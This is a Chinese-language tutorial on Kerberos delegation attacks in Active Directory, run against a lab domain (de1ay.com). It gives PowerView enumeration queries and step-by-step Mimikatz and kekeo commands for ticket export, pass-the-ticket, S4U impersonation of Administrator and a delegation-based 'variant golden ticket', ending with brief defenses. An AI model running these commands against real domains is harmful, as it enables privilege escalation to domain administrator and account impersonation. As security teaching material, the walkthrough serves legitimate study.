Kerberos之域内委派攻击
字数 1445 2025-08-25 22:58:40
Kerberos域内委派攻击详解
什么是委派
委派是指在一个域中,用户A使用Kerberos身份验证访问服务B,服务B再使用A的身份去访问服务C的过程。委派主要分为两种类型:
非约束委派(Unconstrained delegation)
- 用户将TGT(票据授予票据)发送给委派对象Service1
- Service1可以使用该TGT访问域内任意其他服务
- 实现流程:
- 用户请求可转发TGT(TGT1)
- KDC返回TGT1
- 用户使用TGT1请求转发TGT(TGT2)
- KDC返回TGT2
- 用户申请访问Service1的服务票据(ST)
- TGS返回ST
- 用户发送请求至Service1,包含TGT1、ST、TGT2和TGT2的SessionKey
- Service1使用TGT2请求访问Service2的票据
- KDC返回Service2的票据
- Service1以用户名义访问Service2
约束委派(Constrained delegation)
- 微软在Windows 2003中引入的更安全机制
- 对发送给Service1的认证信息做了限制,不允许Service1代表用户使用TGT访问其他服务
- 使用S4U2Self和S4U2Proxy协议扩展
- S4U2Self:允许服务以用户名义获取自身服务的服务票据
- S4U2Proxy:允许服务以用户名义获取其他指定服务的服务票据
发现域中委派的计算机和用户
使用PowerView工具
PowerView有两个版本:
- dev分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- master分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
查询非约束委派
-
查询域中所有非约束委派用户:
Get-NetUser -Unconstrained -Domain de1ay.com -
查询域中所有非约束委派计算机:
Get-NetComputer -Unconstrained -Domain de1ay.com
查询约束委派
-
查询域中所有约束委派用户:
Get-DomainUser -TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl -
查询域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
域委派攻击利用
非约束委派攻击
攻击步骤:
-
将账户设置为服务账号:
setspn -U -A variant/golden ghtwf01验证设置:
setspn -l ghtwf01 -
将账户设置为非约束委派
-
诱导域管理员登录该服务账号所在主机(如通过WinRM远程连接)
-
使用Mimikatz导出缓存的TGT:
sekurlsa::tickets /export -
使用kerberos::ptt导入TGT:
kerberos::ptt [导出的TGT文件] -
现在可以使用域管理员身份访问域控
约束委派攻击
攻击步骤:
-
确认目标账户已配置约束委派
-
使用kekeo请求TGT:
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi -
使用获取的TGT请求服务票据:
tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:cifs/DC.de1ay.com -
导入ST票据:
kerberos::ptt [导出的ST文件] -
现在可以访问目标服务
利用约束委派打造变种黄金票据
-
使用ActiveDirectory模块添加krbtgt访问权限:
Import-Module ActiveDirectory $user = Get-ADUser ghtwf01 Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/de1ay.com") } -
获取ghtwf01的TGT:
tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi -
获取Administrator的TGT:
tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:krbtgt/de1ay.com -
导入票据后即可获得域管理员权限
防御方法
- 高权限用户设置不能被委派
- 使用受保护的用户组Protected Users(Windows Server 2012及以上版本)
参考链接
- https://xz.aliyun.com/t/2931
- https://paper.seebug.org/620/
- https://xz.aliyun.com/t/7217
- https://www.anquanke.com/post/id/173477
- https://www.freebuf.com/articles/system/198381.html